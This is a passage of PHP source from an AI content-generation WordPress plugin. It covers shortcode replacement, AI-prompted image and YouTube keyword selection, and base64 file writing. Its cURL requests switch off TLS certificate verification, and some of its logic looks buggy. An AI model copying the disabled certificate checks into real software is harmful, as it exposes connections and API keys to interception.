$filename); finfo_close($finfo); if($mimetype === false) { if (array_key_exists($ext, $mime_types)) { return $mime_types[$ext]; } else { return 'application/octet-stream'; } } return $mimetype; } elseif (array_key_exists($ext, $mime_types)) { return $mime_types[$ext]; } else { return 'application/octet-stream'; } } function aiomatict_get_items($query=array()){ global $wpdb; $defaults = array( 'post_hash'=>'' ); $query = wp_parse_args($query, $defaults); extract($query); $allowed_fields = aiomatict_get_item_table_columns(); $select_sql = "SELECT post_result FROM {$wpdb->aiomatict_shortcode_rez}"; $join_sql=''; $where_sql = $wpdb->prepare("WHERE post_hash = %s", $post_hash); $sql = "$select_sql $where_sql"; $logs = $wpdb->get_results($sql); $logs = apply_filters('aiomatict_get_items', $logs, $query); return $logs; } function replaceAIPostShortcodes($content, $post_link, $post_title, $blog_title, $post_excerpt, $post_content, $user_name, $featured_image, $post_cats, $post_tagz, $post_id, $img_attr = '', $old_title = '', $post_title_keywords = '', $custom_shortcodes = '', $global_prepend = '', $global_append = '') { $matches = array(); $i = 0; preg_match_all('~%regex\(\s*\"([^"]+?)\s*"\s*[,;]\s*\"([^"]*)\"\s*(?:[,;]\s*\"([^"]*?)\s*\")?(?:[,;]\s*\"([^"]*?)\s*\")?(?:[,;]\s*\"([^"]*?)\s*\")?\)%~si', $content, $matches); if (is_array($matches) && count($matches) && is_array($matches[0])) { for($i = 0; $i < count($matches[0]); $i++) { if (isset($matches[0][$i])) $fullmatch = $matches[0][$i]; if (isset($matches[1][$i])) $search_in = replaceAIPostShortcodes($matches[1][$i], $post_link, $post_title, $blog_title, $post_excerpt, $post_content, $user_name, $featured_image, $post_cats, $post_tagz, $post_id, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); if (isset($matches[2][$i])) $matchpattern = $matches[2][$i]; if (isset($matches[3][$i])) $element = $matches[3][$i]; if (isset($matches[4][$i])) $delimeter = $matches[4][$i];if (isset($matches[5][$i])) $counter = $matches[5][$i]; if (isset($matchpattern)) { if (preg_match('<^[\/#%+~[\]{}][\s\S]*[\/#%+~[\]{}]$>', $matchpattern, $z)) { preg_match_all($matchpattern, $search_in, $submatches, PREG_PATTERN_ORDER); } else { preg_match_all('~'.$matchpattern.'~si', $search_in, $submatches, PREG_PATTERN_ORDER); } } if (isset($submatches)) { if (is_array($submatches)) { $empty_elements = array_keys($submatches[0], ""); foreach ($empty_elements as $e) { unset($submatches[0][$e]); } $submatches[0] = array_unique($submatches[0]); if (!is_numeric($element)) { $element = 0; }if (!is_numeric($counter)) { $counter = 0; } if(isset($submatches[(int)($element)])) { $matched = $submatches[(int)($element)]; } else { $matched = ''; } $matched = array_unique((array)$matched); if (empty($delimeter) || $delimeter == 'null') { if (isset($matched[$counter])) $matched = $matched[$counter]; } else { $matched = implode($delimeter, $matched); } if (empty($matched)) { $content = str_replace($fullmatch, '', $content); } else { $content = str_replace($fullmatch, $matched, $content); } } } } } $spintax = new AIomatic_Spintax(); $content = $spintax->process($content); $pcxxx = explode('', $content); $content = $pcxxx[array_rand($pcxxx)]; $content = str_replace('%%random_sentence%%', aiomatic_random_sentence_generator(), $content); $content = str_replace('%%random_sentence2%%', aiomatic_random_sentence_generator(false), $content); $content = aiomatic_replaceSynergyShortcodes($content); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['custom_html'])) { $content = str_replace('%%custom_html%%', $aiomatic_Main_Settings['custom_html'], $content); } if (isset($aiomatic_Main_Settings['custom_html2'])) { $content = str_replace('%%custom_html2%%', $aiomatic_Main_Settings['custom_html2'], $content); } $content = str_replace('%%post_link%%', $post_link, $content); $content = str_replace('%%post_title%%', $post_title, $content); $content = str_replace('%%post_title_keywords%%', $post_title_keywords, $content); $content = str_replace('%%post_original_title%%', $old_title, $content); $content = str_replace('%%blog_title%%', $blog_title, $content); $content = str_replace('%%post_excerpt%%', $post_excerpt, $content); $post_content = strip_shortcodes($post_content); $content = str_replace('%%post_content%%', $post_content, $content); $content = str_replace('%%post_content_plain_text%%', strip_tags($post_content), $content); $content = str_replace('%%author_name%%', $user_name, $content); $content = str_replace('%%current_date_time%%', date('Y/m/d H:i:s'), $content); $content = str_replace('%%featured_image%%', $featured_image, $content); $content = str_replace('%%post_cats%%', $post_cats, $content); $content = str_replace('%%post_tags%%', $post_tagz, $content); $img_attr = str_replace('%%image_source_name%%', '', $img_attr); $img_attr = str_replace('%%image_source_url%%', '', $img_attr); $img_attr = str_replace('%%image_source_website%%', '', $img_attr); $content = str_replace('%%royalty_free_image_attribution%%', $img_attr, $content); if($post_id != '') { preg_match_all('#%%!([^!]*?)!%%#', $content, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $post_custom_data = get_post_meta($post_id, $mc, true); if($post_custom_data != '') { $content = str_replace('%%!' . $mc . '!%%', $post_custom_data, $content); } else { $content = str_replace('%%!' . $mc . '!%%', '', $content); } } } preg_match_all('#%%!!([^!]*?)!!%%#', $content, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $ctaxs = ''; $terms = get_the_terms( $post_id, $mc ); if ( ! empty( $terms ) && ! is_wp_error( $terms ) ) { $ctaxs_arr = array(); foreach ( $terms as $term ) { $ctaxs_arr[] = $term->slug; } $ctaxs = implode(',', $ctaxs_arr); } if($post_custom_data != '') { $content = str_replace('%%!!' . $mc . '!!%%', $ctaxs, $content); } else { $content = str_replace('%%!!' . $mc . '!!%%', '', $content); } } } } else { preg_match_all('#%%!([^!]*?)!%%#', $content, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $content = str_replace('%%!' . $mc . '!%%', '', $content); } } preg_match_all('#%%!!([^!]*?)!!%%#', $content, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $content = str_replace('%%!!' . $mc . '!!%%', '', $content); } } } if ( is_user_logged_in() ) { $user_id = get_current_user_id(); if($user_id !== 0) { preg_match_all('#%%~([^!]*?)~%%#', $content, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $post_custom_data = get_user_meta($user_id, $mc, true); if($post_custom_data != '') { $content = str_replace('%%~' . $mc . '~%%', $post_custom_data, $content); } else { $content = str_replace('%%~' . $mc . '~%%', '', $content); } } } } else { preg_match_all('#%%~([^!]*?)~%%#', $content, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $content = str_replace('%%~' . $mc . '~%%', '', $content); } } } } else { preg_match_all('#%%~([^!]*?)~%%#', $content, $matched_content); if(isset($matched_content[1][0])) { foreach($matched_content[1] as $mc) { $content = str_replace('%%~' . $mc . '~%%', '', $content); } } } $content = preg_replace_callback('#%%random_image_url\[([^\]]*?)\]%%#', function ($matches) { $arv = array(); $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, '', $arv); return $my_img; }, $content); $content = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) { if(isset($matches[2])) { $chance = trim($matches[2], '[]'); } else { $chance = ''; } $arv = array(); $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv); return ''; }, $content); $content = preg_replace_callback('#%%random_video\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) { if(isset($matches[2])) { $chance = trim($matches[2], '[]'); } else { $chance = ''; } $my_vid = aiomoatic_get_video($matches[1], $chance); return $my_vid; }, $content); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to insert a valid OpenAI/AiomaticAPI API Key for the custom shortcode creator to work!'); } else { $allmodels = aiomatic_get_all_models(); $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(!is_array($custom_shortcodes)) { if($custom_shortcodes != '') { $custom_shortcodes = replaceAIPostShortcodes($custom_shortcodes, $post_link, $post_title, $blog_title, $post_excerpt, $post_content, $user_name, $featured_image, $post_cats, $post_tagz, $post_id, $img_attr, $old_title, $post_title_keywords, '', $global_prepend, $global_append); } $custom_shortcodes = preg_split('/\r\n|\r|\n/', $custom_shortcodes); } foreach($custom_shortcodes as $my_short) { $name_part = explode('=>', $my_short); if(isset($name_part[1]) && !empty(trim($name_part[1]))) { $shortname = trim($name_part[0]); if(strstr($content, '%%' . $shortname . '%%')) { $shortval = ''; $ai_part = explode('@@', $name_part[1]); if(isset($ai_part[1]) && !empty(trim($ai_part[1]))) { if(!in_array(trim($ai_part[0]), $allmodels)) { $aimodel = get_default_model_name($aiomatic_Main_Settings); } else { $aimodel = trim($ai_part[0]); } $ai_command = trim($ai_part[1]); $ai_command = apply_filters('aiomatic_replace_aicontent_shortcode', $ai_command); preg_match_all('#%%related_questions_([^%]*?)%%#i', $ai_command, $mxatches); if(isset($mxatches[1][0])) { foreach($mxatches[1] as $googlematch) { $mtchres = aiomatic_scrape_related_questions($googlematch, 5, '', 1, 1, 0, 0, 2000, '', ''); if(is_array($mtchres) && !empty($mtchres)) { $quests = array(); foreach($mtchres as $mra) { $quests[] = $mra['q']; } $mtchres = implode(',', $quests); } $ai_command = str_ireplace('%%related_questions_' . $googlematch . '%%', $mtchres, $ai_command); } } $max_tokens = aiomatic_get_max_tokens($aimodel); $query_token_count = count(aiomatic_encode($ai_command)); $available_tokens = aiomatic_compute_available_tokens($aimodel, $max_tokens, $ai_command, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($ai_command); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $ai_command = aiomatic_substr($ai_command, 0, $string_len); $ai_command = trim($ai_command); $query_token_count = count(aiomatic_encode($ai_command)); $available_tokens = $max_tokens - $query_token_count; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $aimodel); aiomatic_log_to_file('Calling ' . $api_service . ' (' . $aimodel . ') for custom shortcode text: ' . $ai_command); } $thread_id = ''; $aierror = ''; $finish_reason = ''; $temperature = 1; $top_p = 1; $ai_command = aiomatic_replaceSynergyShortcodes($ai_command); if(!empty($ai_command)) { $ai_command = replaceAIPostShortcodes($ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $post_content, $user_name, $featured_image, $post_cats, $post_tagz, $post_id, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } $presence_penalty = 0; $frequency_penalty = 0; if(!empty($global_prepend)) { $ai_command = $global_prepend . ' ' . $ai_command; } if(!empty($global_append)) { $ai_command = $ai_command . ' ' . $global_append; } $generated_text = aiomatic_generate_text($token, $aimodel, $ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'customShortcode', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', '', $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file('Custom shortcode generator error: ' . $aierror); } else { $shortval = trim(trim(trim(trim($generated_text), '.'), ' "\'')); } } $content = str_replace('%%' . $shortname . '%%', $shortval, $content); } } } } $content = apply_filters('aiomatic_replace_aicontent_shortcode', $content); preg_match_all('#%%related_questions_([^%]*?)%%#i', $content, $mxatches); if(isset($mxatches[1][0])) { foreach($mxatches[1] as $googlematch) { $mtchres = aiomatic_scrape_related_questions($googlematch, 5, '', 1, 1, 0, 0, 2000, '', ''); if(is_array($mtchres) && !empty($mtchres)) { $quests = array(); foreach($mtchres as $mra) { $quests[] = $mra['q']; } $mtchres = implode(',', $quests); } $content = str_ireplace('%%related_questions_' . $googlematch . '%%', $mtchres, $content); } } return $content; } function aiomatic_preg_grep_keys( $pattern, $input, $flags = 0 ) { if(!is_array($input)) { return array(); } $keys = preg_grep( $pattern, array_keys( $input ), $flags ); $vals = array(); foreach ( $keys as $key ) { $vals[$key] = $input[$key]; } return $vals; } function aiomatic_select_ai_image($new_post_title, $image_url) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['use_image_ai']) && $aiomatic_Main_Settings['use_image_ai'] === 'on') { if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!'); } else { if (isset($aiomatic_Main_Settings['image_ai_prompt']) && trim($aiomatic_Main_Settings['image_ai_prompt']) != '') { $prompt = trim($aiomatic_Main_Settings['image_ai_prompt']); } else { $prompt = 'Select an image URL, based on its file name, which matches the best the a post, based on its title. If no matching image can be selected, pick a random one from the list. Respond only with the URL of the selected image and with nothing else. The title of the post is: \"%%post_title%%\" The image URL list is: %%image_list%%'; } if (isset($aiomatic_Main_Settings['image_ai_model']) && trim($aiomatic_Main_Settings['image_ai_model']) != '') { $model = trim($aiomatic_Main_Settings['image_ai_model']); } else { $model = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Main_Settings['img_assistant_id']) && trim($aiomatic_Main_Settings['img_assistant_id']) != '') { $img_assistant_id = trim($aiomatic_Main_Settings['img_assistant_id']); } else { $img_assistant_id = ''; } $all_models = aiomatic_get_all_models(true); if(!in_array($model, $all_models)) { $model = get_default_model_name($aiomatic_Main_Settings); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $prompt = str_replace('%%post_title%%', $new_post_title, $prompt); $image_url_arr = explode(',', $image_url); $changemade = false; foreach($image_url_arr as $this_ind => $img_url_me) { $img_url_me = trim($img_url_me); if(is_numeric($img_url_me)) { $attachment_url = wp_get_attachment_url($img_url_me); if($attachment_url !== false) { $image_url_arr[$this_ind] = $attachment_url . '(' . $img_url_me . ')'; $changemade = true; } } } if($changemade == true) { $image_url = implode(',', $image_url_arr); } $prompt = str_replace('%%image_list%%', $image_url, $prompt); $query_token_count = count(aiomatic_encode($prompt)); $max_tokens = aiomatic_get_max_tokens($model); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $prompt = aiomatic_substr($prompt, 0, $string_len); $prompt = trim($prompt); $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = $max_tokens - $query_token_count; } if(empty($prompt)) { aiomatic_log_to_file('Incorrect AI Image Selector prompt provided: ' . print_r($prompt, true)); } else { $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, 1, 1, 0, 0, false, 'AIImageSelector', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $img_assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Failed to select the AI image for: ' . print_r($prompt, true) . ' - error: ' . $aierror); } } else { $selected_image = aiomatic_sanitize_ai_result($generated_text); if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('AI image selector result: ' . print_r($selected_image, true)); } if(strstr($image_url, $selected_image) !== false) { preg_match_all('#^https?:\/\/.*\((\d+)\)$#i', $selected_image, $imatches); if(isset($imatches[1][0])) { $selected_image = $imatches[1][0]; } return $selected_image; } else { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('Returned content not found in input URL list: ' . print_r($selected_image, true)); } } } } } } return false; } function aiomoatic_get_video($new_post_title, $chance = '') { if($chance != '' && is_numeric($chance)) { $chance = intval($chance); if(mt_rand(0, 99) >= $chance) { return ''; } } $retme = ''; $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['improve_yt_kw']) && $aiomatic_Main_Settings['improve_yt_kw'] === 'on') { if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { aiomatic_log_to_file('You need to insert a valid OpenAI/AiomaticAPI API Key for this to work!'); } else { if (isset($aiomatic_Main_Settings['yt_kw_prompt']) && trim($aiomatic_Main_Settings['yt_kw_prompt']) != '') { $prompt = trim($aiomatic_Main_Settings['yt_kw_prompt']); } else { $prompt = 'Using which keyword or search phrase should I search YouTube, to get the most relevant videos for this text: "%%aiomatic_query%%"'; } if (isset($aiomatic_Main_Settings['yt_kw_model']) && trim($aiomatic_Main_Settings['yt_kw_model']) != '') { $model = trim($aiomatic_Main_Settings['yt_kw_model']); } else { $model = get_default_model_name($aiomatic_Main_Settings); } if (isset($aiomatic_Main_Settings['yt_assistant_id']) && trim($aiomatic_Main_Settings['yt_assistant_id']) != '') { $yt_assistant_id = trim($aiomatic_Main_Settings['yt_assistant_id']); } else { $yt_assistant_id = ''; } $all_models = aiomatic_get_all_models(true); if(!in_array($model, $all_models)) { $model = get_default_model_name($aiomatic_Main_Settings); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $prompt = str_replace('%%query%%', $new_post_title, $prompt); $prompt = str_replace('%%aiomatic_query%%', $new_post_title, $prompt); $query_token_count = count(aiomatic_encode($prompt)); $max_tokens = aiomatic_get_max_tokens($model); $available_tokens = aiomatic_compute_available_tokens($model, $max_tokens, $prompt, $query_token_count); if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS) { $string_len = strlen($prompt); $string_len = $string_len / 2; $string_len = intval(0 - $string_len); $prompt = aiomatic_substr($prompt, 0, $string_len); $prompt = trim($prompt); $query_token_count = count(aiomatic_encode($prompt)); $available_tokens = $max_tokens - $query_token_count; } if(empty($prompt)) { aiomatic_log_to_file('Incorrect YouTube search keyword extractor prompt provided: ' . print_r($prompt, true)); } else { $thread_id = ''; $aierror = ''; $finish_reason = ''; $generated_text = aiomatic_generate_text($token, $model, $prompt, $available_tokens, 1, 1, 0, 0, false, 'YouTubeKeywordWriter', 0, $finish_reason, $aierror, false, false, false, '', '', 'user', $yt_assistant_id, $thread_id, '', 'disabled', '', false); if($generated_text === false) { aiomatic_log_to_file('Failed to extract YouTube search keywords for: ' . print_r($prompt, true) . ' - error: ' . $aierror); } else { $new_post_title = aiomatic_sanitize_ai_result($generated_text); } } } } if (isset($aiomatic_Main_Settings['yt_app_id']) && trim($aiomatic_Main_Settings['yt_app_id']) != '') { $items = array(); $za_app = explode(',', $aiomatic_Main_Settings['yt_app_id']); $za_app = trim($za_app[array_rand($za_app)]); $feed_uri = 'https://www.googleapis.com/youtube/v3/search?part=snippet&type=video&key=' . $za_app; $feed_uri .= '&maxResults=10'; $feed_uri .= '&q='.urlencode(trim(stripslashes(str_replace('"', '"', $new_post_title)))); $ch = curl_init(); if ($ch !== FALSE) { if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_REFERER, get_site_url()); curl_setopt($ch, CURLOPT_URL, $feed_uri); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $exec = curl_exec($ch); curl_close($ch); if ($exec !== FALSE) { $json = json_decode($exec); if(isset($json->items)) { $items = $json->items; if (count($items) == 0) { $feed_uri = 'https://www.googleapis.com/youtube/v3/search?part=snippet&type=video&key=' . $za_app; $feed_uri .= '&maxResults=10'; $keyword_class = new Aiomatic_keywords(); $new_post_title = $keyword_class->keywords($new_post_title, 1); $feed_uri .= '&q='.urlencode(trim(stripslashes(str_replace('"', '"', $new_post_title)))); $ch = curl_init(); if ($ch !== FALSE) { if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') { $prx = explode(',', $aiomatic_Main_Settings['proxy_url']); $randomness = array_rand($prx); curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness])); if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') { $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']); if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '') { curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness])); } } } curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '') { $ztime = intval($aiomatic_Main_Settings['max_timeout']); } else { $ztime = 300; } curl_setopt($ch, CURLOPT_TIMEOUT, $ztime); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_REFERER, get_site_url()); curl_setopt($ch, CURLOPT_URL, $feed_uri); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $exec = curl_exec($ch); curl_close($ch); if ($exec === FALSE) { $json = json_decode($exec); if(isset($json->items)) { $items = $json->items; } } } else { aiomatic_log_to_file('Failed to init curl in YouTube API listing x2: ' . $feed_uri); } } } else { if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('YouTube API returned error: ' . $exec); } } } } else { aiomatic_log_to_file('Failed to init curl in YouTube API listing: ' . $feed_uri); } if(isset($items[0]->id->videoId)) { $rand_ind = array_rand($items); $video_id = $items[$rand_ind]->id->videoId; if (isset($aiomatic_Main_Settings['player_width']) && $aiomatic_Main_Settings['player_width'] !== '') { $width = esc_attr($aiomatic_Main_Settings['player_width']); } else { $width = 580; } if (isset($aiomatic_Main_Settings['player_height']) && $aiomatic_Main_Settings['player_height'] !== '') { $height = esc_attr($aiomatic_Main_Settings['player_height']); } else { $height = 380; } $retme = '

            '; } } else { $retme = aiomatic_get_youtube_video(trim(stripslashes(str_replace('"', '"', $new_post_title))), $chance); } return $retme; } function aiomatic_get_youtube_video($keyword, $chance = '') { if($chance != '' && is_numeric($chance)) { $chance = intval($chance); if(mt_rand(0, 99) >= $chance) { return ''; } } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (isset($aiomatic_Main_Settings['player_width']) && $aiomatic_Main_Settings['player_width'] !== '') { $width = esc_attr($aiomatic_Main_Settings['player_width']); } else { $width = 580; } if (isset($aiomatic_Main_Settings['player_height']) && $aiomatic_Main_Settings['player_height'] !== '') { $height = esc_attr($aiomatic_Main_Settings['player_height']); } else { $height = 380; } $res = aiomatic_file_get_contents_advanced('https://www.youtube.com/results?search_query=' . urlencode($keyword), '', 'self', 'Mozilla/5.0 (Windows NT 10.0;WOW64;rv:97.0) Gecko/20100101 Firefox/97.0/3871tuT2p1u-81'); preg_match_all('/"\/watch\?v=([^"&?\/\s]{11})"/', $res, $matches); if(isset($matches[1])) { $items = $matches[1]; if (count($items) > 0) { return '

            '; } } return ''; } function aiomatic_generate_thumbmail( $post_id ) { $post = get_post($post_id); $post_parent_id = $post->post_parent === 0 ? $post->ID : $post->post_parent; if ( has_post_thumbnail($post_parent_id) ) { if ($id_attachment = get_post_thumbnail_id($post_parent_id)) { $the_image = wp_get_attachment_url($id_attachment, false); return $the_image; } } $attachments = array_values(get_children(array( 'post_parent' => $post_parent_id, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID') )); if( sizeof($attachments) > 0 ) { $the_image = wp_get_attachment_url($attachments[0]->ID, false); return $the_image; } $image_url = aiomatic_extractThumbnail($post->post_content); return $image_url; } function aiomatic_extractThumbnail($content) { $att = aiomatic_getUrls($content); if(count($att) > 0) { foreach($att as $link) { $mime = aiomatic_get_mime($link); if(stristr($mime, "image/") !== FALSE){ return $link; } } } else { return ''; } return ''; } function aiomatic_getUrls($string) { $regex = '/https?\:\/\/[^\"\' \n\s]+/i'; preg_match_all($regex, $string, $matches); return ($matches[0]); } function aiomatic_strip_html_tags($str) { $str = html_entity_decode($str); $str1 = preg_replace('/(<|>)\1{2}/is', '', $str); if($str1 !== null) { $str = $str1; } $str1 = preg_replace(array( '@]*?>.*?@siu', '@]*?>.*?@siu', '@]*?.*?@siu', '@]*?.*?@siu' ), "", $str); if($str1 !== null) { $str = $str1; } $str = str_replace('><', '> <', $str); $str = strip_tags($str); return $str; } function aiomatic_get_base64_from_url($image_url) { $image_content = aiomatic_get_web_page($image_url); if ($image_content == false) { return false; } $base64_image = base64_encode($image_content); return $base64_image; } function aiomatic_base64_to_jpeg($base64_string, $output_file, $ret_path) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } if ($wp_filesystem->exists($output_file)) { return array($output_file, $ret_path); } $ifp = fopen($output_file, 'wb'); if($ifp !== false) { $decoded = base64_decode($base64_string); if($ifp !== false) { $decoded_temp = aiomatic_string_to_string_compress($decoded); if($decoded_temp !== false) { $decoded = $decoded_temp; } $rez = fwrite($ifp, $decoded); if($rez === false) { aiomatic_log_to_file('Failed to write file: ' . $output_file); return false; } } else { aiomatic_log_to_file('Failed to decode response file: ' . $base64_string); return false; } fclose($ifp); } else { aiomatic_log_to_file('Failed to open file: ' . $output_file); return false; } return array($output_file, $ret_path); } function aiomatic_base64_to_file($base64_string, $output_file, $ret_path) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } if ($wp_filesystem->exists($output_file)) { return array($output_file, $ret_path); } $ifp = fopen($output_file, 'wb'); if($ifp !== false) { $decoded = base64_decode($base64_string); if($ifp !== false) { $rez = fwrite($ifp, $decoded); if($rez === false) { aiomatic_log_to_file('Failed to write file: ' . $output_file); return false; } } else { aiomatic_log_to_file('Failed to decode response file: ' . $base64_string); return false; } fclose($ifp); } else { aiomatic_log_to_file('Failed to open file: ' . $output_file); return false; } return array($output_file, $ret_path); } function aiomatic_random_sentence_generator($first = true) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if ($first == false) { $r_sentences = $aiomatic_Main_Settings['sentence_list2']; } else { $r_sentences = $aiomatic_Main_Settings['sentence_list']; } $r_variables = $aiomatic_Main_Settings['variable_list']; $r_sentences = trim($r_sentences); $r_variables = trim($r_variables, ';'); $r_variables = trim($r_variables); $r_sentences = str_replace("\r\n", "\n", $r_sentences); $r_sentences = str_replace("\r", "\n", $r_sentences); $r_sentences = explode("\n", $r_sentences); $r_variables = str_replace("\r\n", "\n", $r_variables); $r_variables = str_replace("\r", "\n", $r_variables); $r_variables = explode("\n", $r_variables); $r_vars = array(); for ($x = 0; $x < count($r_variables); $x++) { $var = explode("=>", trim($r_variables[$x])); if (isset($var[1])) { $key = strtolower(trim($var[0])); $words = explode(";", trim($var[1])); $r_vars[$key] = $words; } } $max_s = count($r_sentences) - 1; $rand_s = rand(0, $max_s); $sentence = $r_sentences[$rand_s]; $sentence = str_replace(' ,', ',', ucfirst(aiomatic_replace_words($sentence, $r_vars))); $sentence = str_replace(' .', '.', $sentence); $sentence = str_replace(' !', '!', $sentence); $sentence = str_replace(' ?', '?', $sentence); $sentence = trim($sentence); return $sentence; } function aiomatic_get_random_user_agent() { $agents = array( "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0", "Mozilla/5.0 (X11; Ubuntu; 